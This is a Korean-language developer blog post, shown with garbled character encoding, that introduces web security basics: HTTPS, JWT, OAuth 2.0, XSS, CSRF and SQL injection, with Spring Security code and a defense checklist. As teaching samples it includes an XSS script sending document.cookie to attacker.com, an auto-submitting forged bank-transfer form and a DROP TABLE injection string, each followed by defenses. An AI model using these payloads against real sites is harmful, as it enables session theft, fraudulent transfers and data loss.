Sam Baek, The Dev's Corner

๐Ÿ” ์›น ๋ณด์•ˆ ๊ธฐ์ดˆ ์™„๋ฒฝ ๊ฐ€์ด๋“œ (HTTPS, JWT, OAuth, XSS, CSRF)

07 Nov 2025

์›น ๋ณด์•ˆ์ด๋ž€ ๋ฌด์—‡์ธ๊ฐ€


์ธํ„ฐ๋„ท์—์„œ ์ •๋ณด๋ฅผ ์ฃผ๊ณ ๋ฐ›์„ ๋•Œ,
๋ˆ„๊ตฐ๊ฐ€ ๋ชฐ๋ž˜ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด?

์›น ๋ณด์•ˆ์€ ์ด๋Ÿฐ ์œ„ํ—˜์œผ๋กœ๋ถ€ํ„ฐ
์‚ฌ์šฉ์ž์™€ ์‹œ์Šคํ…œ์„ ์ง€ํ‚ค๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.

๋งˆ์น˜ ์€ํ–‰์—์„œ ํ˜„๊ธˆ์„ ์šด๋ฐ˜ํ•  ๋•Œ
๊ฒฝํ˜ธ์›๊ณผ ๋ณด์•ˆ์ฐจ๋Ÿ‰์„ ์‚ฌ์šฉํ•˜๋“ฏ์ด,
์›น์—์„œ๋„ ๋ฐ์ดํ„ฐ๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ์ „์†กํ•˜๊ณ 
์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ํ•„์š”ํ•˜๋‹ค.

์™œ ์›น ๋ณด์•ˆ์„ ๋ฐฐ์›Œ์•ผ ํ• ๊นŒ?


์ด์œ  1: ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ
๋น„๋ฐ€๋ฒˆํ˜ธ, ์นด๋“œ๋ฒˆํ˜ธ ๋“ฑ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ง€ํ‚จ๋‹ค.

์ด์œ  2: ๋ฒ•์  ์˜๋ฌด
๊ฐœ์ธ์ •๋ณด๋ณดํ˜ธ๋ฒ•, GDPR ๋“ฑ ๋ฒ•์  ์ค€์ˆ˜ ํ•„์š”.

์ด์œ  3: ์‹ ๋ขฐ ๊ตฌ์ถ•
๋ณด์•ˆ ์‚ฌ๊ณ ๋Š” ๊ธฐ์—…์˜ ์‹ ๋ขฐ๋ฅผ ๋ฌด๋„ˆ๋œจ๋ฆฐ๋‹ค.

์ด์œ  4: ๋ฉด์ ‘ ํ•„์ˆ˜
HTTPS, JWT, XSS ๋ฐฉ์–ด๋Š” ๋ฉด์ ‘ ๋‹จ๊ณจ ์งˆ๋ฌธ์ด๋‹ค.

๊ธฐ๋ณธ ๊ฐœ๋… ์š”์•ฝ


๐Ÿท๏ธ HTTPS์™€ SSL/TLS


HTTP vs HTTPS


HTTP: ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ํ‰๋ฌธ ํ†ต์‹ 

์šฐํŽธ์—ฝ์„œ ๋น„์œ : ๋ˆ„๊ตฌ๋‚˜ ๋‚ด์šฉ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

HTTPS: SSL/TLS๋กœ ์•”ํ˜ธํ™”๋œ ์•ˆ์ „ํ•œ ํ†ต์‹ 

๋ด‰์ธ๋œ ํŽธ์ง€ ๋น„์œ : ๋ฐ›๋Š” ์‚ฌ๋žŒ๋งŒ ์—ด์–ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

HTTPS ๋™์ž‘ ์›๋ฆฌ


1. ํด๋ผ์ด์–ธํŠธ โ†’ ์„œ๋ฒ„: "์•ˆ๋…•ํ•˜์„ธ์š”" (Client Hello)
2. ์„œ๋ฒ„ โ†’ ํด๋ผ์ด์–ธํŠธ: "์ธ์ฆ์„œ์ž…๋‹ˆ๋‹ค" (Server Hello)
3. ํด๋ผ์ด์–ธํŠธ: ์ธ์ฆ์„œ ๊ฒ€์ฆ (CA ํ™•์ธ)
4. ํด๋ผ์ด์–ธํŠธ โ†’ ์„œ๋ฒ„: ์•”ํ˜ธํ™” ํ‚ค ๊ตํ™˜
5. ์–‘์ชฝ: ๋Œ€์นญํ‚ค๋กœ ์•”ํ˜ธํ™” ํ†ต์‹  ์‹œ์ž‘


ํ•ต์‹ฌ ๊ฐœ๋…:

  • CA (Certificate Authority): ์ธ์ฆ์„œ ๋ฐœ๊ธ‰ ๊ธฐ๊ด€
  • ๊ณต๊ฐœํ‚ค/๊ฐœ์ธํ‚ค: ๋น„๋Œ€์นญ ์•”ํ˜ธํ™”
  • ๋Œ€์นญํ‚ค: ์‹ค์ œ ๋ฐ์ดํ„ฐ ์•”ํ˜ธํ™”


๐Ÿท๏ธ JWT (JSON Web Token)


JWT ๊ตฌ์กฐ


[Header].[Payload].[Signature]

eyJhbGci... .eyJ1c2Vy... .Xm3i8xW9J...


Header: ํ† ํฐ ํƒ€์ž…๊ณผ ์•Œ๊ณ ๋ฆฌ์ฆ˜

{
  "alg": "HS256",
  "typ": "JWT"
}


Payload: ์‹ค์ œ ๋ฐ์ดํ„ฐ

{
  "userId": 123,
  "name": "ํ™๊ธธ๋™",
  "role": "USER",
  "exp": 1700003599
}


์ฃผ์˜: Payload๋Š” ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์Œ!
๋ฏผ๊ฐํ•œ ์ •๋ณด๋Š” ์ ˆ๋Œ€ ๋„ฃ์ง€ ๋ง ๊ฒƒ.

Signature: ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์ฆ

HMACSHA256(
  base64(header) + "." + base64(payload),
  secret_key
)


JWT ์žฅ๋‹จ์ 


์žฅ์ :

  • Stateless (์„œ๋ฒ„์— ์ƒํƒœ ์ €์žฅ ๋ถˆํ•„์š”)
  • ํ™•์žฅ์„ฑ (์—ฌ๋Ÿฌ ์„œ๋ฒ„์—์„œ ๊ฒ€์ฆ ๊ฐ€๋Šฅ)
  • ๋งˆ์ดํฌ๋กœ์„œ๋น„์Šค ์ ํ•ฉ


๋‹จ์ :

  • ํ† ํฐ ํฌ๊ธฐ๊ฐ€ ํผ
  • ์ฆ‰์‹œ ๋ฌดํšจํ™” ์–ด๋ ค์›€
  • Payload ๋…ธ์ถœ ์œ„ํ—˜


๐Ÿท๏ธ OAuth 2.0


OAuth๋ž€?


๊ฐœ๋…: ์ œ3์ž ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๊ถŒํ•œ ์œ„์ž„

ํ˜ธํ…” ๋น„์œ :
๋งˆ์Šคํ„ฐํ‚ค ๋Œ€์‹  ์ž„์‹œ ์นด๋“œํ‚ค ๋ฐœ๊ธ‰
์‚ฌ์šฉ ํ›„ ์ž๋™ ๋ฌดํšจํ™”

Authorization Code Flow


1. ์‚ฌ์šฉ์ž โ†’ ํด๋ผ์ด์–ธํŠธ: "๊ตฌ๊ธ€๋กœ ๋กœ๊ทธ์ธ"
2. ํด๋ผ์ด์–ธํŠธ โ†’ ๊ตฌ๊ธ€: ์ธ์ฆ ์š”์ฒญ (๋ฆฌ๋‹ค์ด๋ ‰ํŠธ)
3. ์‚ฌ์šฉ์ž โ†’ ๊ตฌ๊ธ€: ๋กœ๊ทธ์ธ ๋ฐ ๊ถŒํ•œ ์Šน์ธ
4. ๊ตฌ๊ธ€ โ†’ ํด๋ผ์ด์–ธํŠธ: Authorization Code ์ „๋‹ฌ
5. ํด๋ผ์ด์–ธํŠธ โ†’ ๊ตฌ๊ธ€: Code๋กœ Access Token ์š”์ฒญ
6. ๊ตฌ๊ธ€ โ†’ ํด๋ผ์ด์–ธํŠธ: Access Token ๋ฐœ๊ธ‰
7. ํด๋ผ์ด์–ธํŠธ โ†’ ๊ตฌ๊ธ€ API: Token์œผ๋กœ ์‚ฌ์šฉ์ž ์ •๋ณด ์š”์ฒญ


์ฃผ์š” ๋ณด์•ˆ ์œ„ํ˜‘


๐Ÿท๏ธ XSS (Cross-Site Scripting)


๊ณต๊ฒฉ ์›๋ฆฌ


๊ฐœ๋…: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›น ํŽ˜์ด์ง€์— ์‚ฝ์ž…

<!-- ์•…์„ฑ ์ฝ”๋“œ ์˜ˆ์‹œ -->
<script>
  fetch('http://attacker.com?cookie=' + document.cookie);
</script>


XSS ๋ฐฉ์–ด


1. ์ž…๋ ฅ ์ด์Šค์ผ€์ดํ”„:

// โŒ ์œ„ํ—˜
element.innerHTML = userInput;

// โœ… ์•ˆ์ „
element.textContent = userInput;

function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}


2. CSP ํ—ค๋”:

Content-Security-Policy: default-src 'self'; script-src 'self'


3. HttpOnly Cookie:

Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict


๐Ÿท๏ธ CSRF (Cross-Site Request Forgery)


๊ณต๊ฒฉ ์›๋ฆฌ


๊ฐœ๋…: ์‚ฌ์šฉ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ์š”์ฒญ์„ ๊ฐ•์ œ ์‹คํ–‰

<!-- ์•…์„ฑ ์‚ฌ์ดํŠธ -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000000" />
</form>
<script>document.forms[0].submit();</script>


CSRF ๋ฐฉ์–ด


1. CSRF Token:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="random123" />
  <input name="to" />
  <input name="amount" />
  <button>์†ก๊ธˆ</button>
</form>


2. SameSite Cookie:

Set-Cookie: sessionId=abc; SameSite=Strict


๐Ÿท๏ธ SQL Injection


๊ณต๊ฒฉ ์›๋ฆฌ


// โŒ ์œ„ํ—˜
String query = "SELECT * FROM users WHERE username = '" + username + "'";

// ์ž…๋ ฅ: admin'; DROP TABLE users; --
// ๊ฒฐ๊ณผ: ํ…Œ์ด๋ธ” ์‚ญ์ œ!


SQL Injection ๋ฐฉ์–ด


Prepared Statement:

// โœ… ์•ˆ์ „
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, username);


์‹ค์ „ ์˜ˆ์‹œ


๐Ÿท๏ธ Spring Security + JWT ๊ตฌํ˜„


@Component
public class JwtTokenProvider {
    
    @Value("${jwt.secret}")
    private String secretKey;
    
    public String createToken(String username, List<String> roles) {
        Claims claims = Jwts.claims().setSubject(username);
        claims.put("roles", roles);
        
        Date now = new Date();
        Date validity = new Date(now.getTime() + 3600000); // 1์‹œ๊ฐ„
        
        return Jwts.builder()
            .setClaims(claims)
            .setIssuedAt(now)
            .setExpiration(validity)
            .signWith(SignatureAlgorithm.HS256, secretKey)
            .compact();
    }
    
    public boolean validateToken(String token) {
        try {
            Jwts.parser().setSigningKey(secretKey).parseClaimsJws(token);
            return true;
        } catch (JwtException e) {
            return false;
        }
    }
    
    public String getUsername(String token) {
        return Jwts.parser()
            .setSigningKey(secretKey)
            .parseClaimsJws(token)
            .getBody()
            .getSubject();
    }
}


๐Ÿท๏ธ OAuth 2.0 ๊ตฌํ˜„ (Google)


# application.yml
spring:
  security:
    oauth2:
      client:
        registration:
          google:
            client-id: YOUR_CLIENT_ID
            client-secret: YOUR_CLIENT_SECRET
            scope: email, profile


@Configuration
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/", "/login**").permitAll()
                .anyRequest().authenticated()
            .and()
            .oauth2Login();
        
        return http.build();
    }
}


์‹ค์ „ ์ฒดํฌ๋ฆฌ์ŠคํŠธ


โœ… HTTPS


  • ๋ชจ๋“  ํŽ˜์ด์ง€์— HTTPS ์ ์šฉ
  • HTTP โ†’ HTTPS ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ
  • HSTS ํ—ค๋” ์„ค์ •
  • SSL ์ธ์ฆ์„œ ์ž๋™ ๊ฐฑ์‹ 


โœ… ์ธ์ฆ/์ธ๊ฐ€


  • ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹ฑ (BCrypt)
  • JWT ๋งŒ๋ฃŒ ์‹œ๊ฐ„ ์„ค์ •
  • Refresh Token ๊ตฌํ˜„
  • ์—ญํ•  ๊ธฐ๋ฐ˜ ์ ‘๊ทผ ์ œ์–ด


โœ… XSS ๋ฐฉ์–ด


  • ์ž…๋ ฅ ์ด์Šค์ผ€์ดํ”„
  • CSP ํ—ค๋” ์„ค์ •
  • HttpOnly Cookie
  • ์„œ๋ฒ„ ์ธก ๊ฒ€์ฆ


โœ… CSRF ๋ฐฉ์–ด


  • CSRF ํ† ํฐ ์‚ฌ์šฉ
  • SameSite Cookie
  • Referer ๊ฒ€์ฆ


โœ… SQL Injection ๋ฐฉ์–ด


  • Prepared Statement
  • ORM ์‚ฌ์šฉ
  • ์ž…๋ ฅ ๊ฒ€์ฆ
  • ์ตœ์†Œ ๊ถŒํ•œ ์›์น™


์š”์•ฝ


์›น ๋ณด์•ˆ์€ ์‚ฌ์šฉ์ž์™€ ์‹œ์Šคํ…œ์„ ์ง€ํ‚ค๋Š” ํ•„์ˆ˜ ์š”์†Œ๋‹ค.

๐Ÿ’Ž ํ•ต์‹ฌ ํฌ์ธํŠธ:

  1. HTTPS: ๋ชจ๋“  ํ†ต์‹ ์„ ์•”ํ˜ธํ™”
  2. JWT: Stateless ์ธ์ฆ
  3. OAuth: ์ œ3์ž ์ธ์ฆ ์œ„์ž„
  4. XSS ๋ฐฉ์–ด: ์ž…๋ ฅ ์ด์Šค์ผ€์ดํ”„, CSP
  5. CSRF ๋ฐฉ์–ด: CSRF ํ† ํฐ, SameSite
  6. SQL Injection: Prepared Statement


๐Ÿ”’ ๋ณด์•ˆ ์›์น™:

  • ์ตœ์†Œ ๊ถŒํ•œ: ํ•„์š”ํ•œ ๊ถŒํ•œ๋งŒ ๋ถ€์—ฌ
  • ๋‹ค์ธต ๋ฐฉ์–ด: ์—ฌ๋Ÿฌ ๋ณด์•ˆ ๊ณ„์ธต ์ ์šฉ
  • ์ž…๋ ฅ ๊ฒ€์ฆ: ๋ชจ๋“  ์ž…๋ ฅ์„ ์˜์‹ฌ
  • ์•”ํ˜ธํ™”: ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋Š” ์•”ํ˜ธํ™”
  • ๋กœ๊น…: ๋ณด์•ˆ ์ด๋ฒคํŠธ ๊ธฐ๋ก


๐Ÿ“Œ ๋ฉด์ ‘ ๋‹จ๊ณจ ์งˆ๋ฌธ:

  • HTTPS ๋™์ž‘ ์›๋ฆฌ
  • JWT vs Session ์ฐจ์ด
  • XSS์™€ CSRF ์ฐจ์ด ๋ฐ ๋ฐฉ์–ด
  • SQL Injection ๋ฐฉ์–ด ๋ฐฉ๋ฒ•
  • OAuth 2.0 ํ”Œ๋กœ์šฐ


์›น ๋ณด์•ˆ์€ ํ•œ ๋ฒˆ ์„ค์ •ํ•˜๊ณ  ๋์ด ์•„๋‹ˆ๋ผ,
์ง€์†์ ์œผ๋กœ ๊ด€๋ฆฌํ•˜๊ณ  ์—…๋ฐ์ดํŠธํ•ด์•ผ ํ•œ๋‹ค.
๋ณด์•ˆ ์‚ฌ๊ณ ๋Š” ๊ธฐ์—…์˜ ์‹ ๋ขฐ์™€ ์ง๊ฒฐ๋˜๋ฏ€๋กœ,
์ฒ˜์Œ๋ถ€ํ„ฐ ๋ณด์•ˆ์„ ๊ณ ๋ คํ•œ ์„ค๊ณ„๊ฐ€ ์ค‘์š”ํ•˜๋‹ค.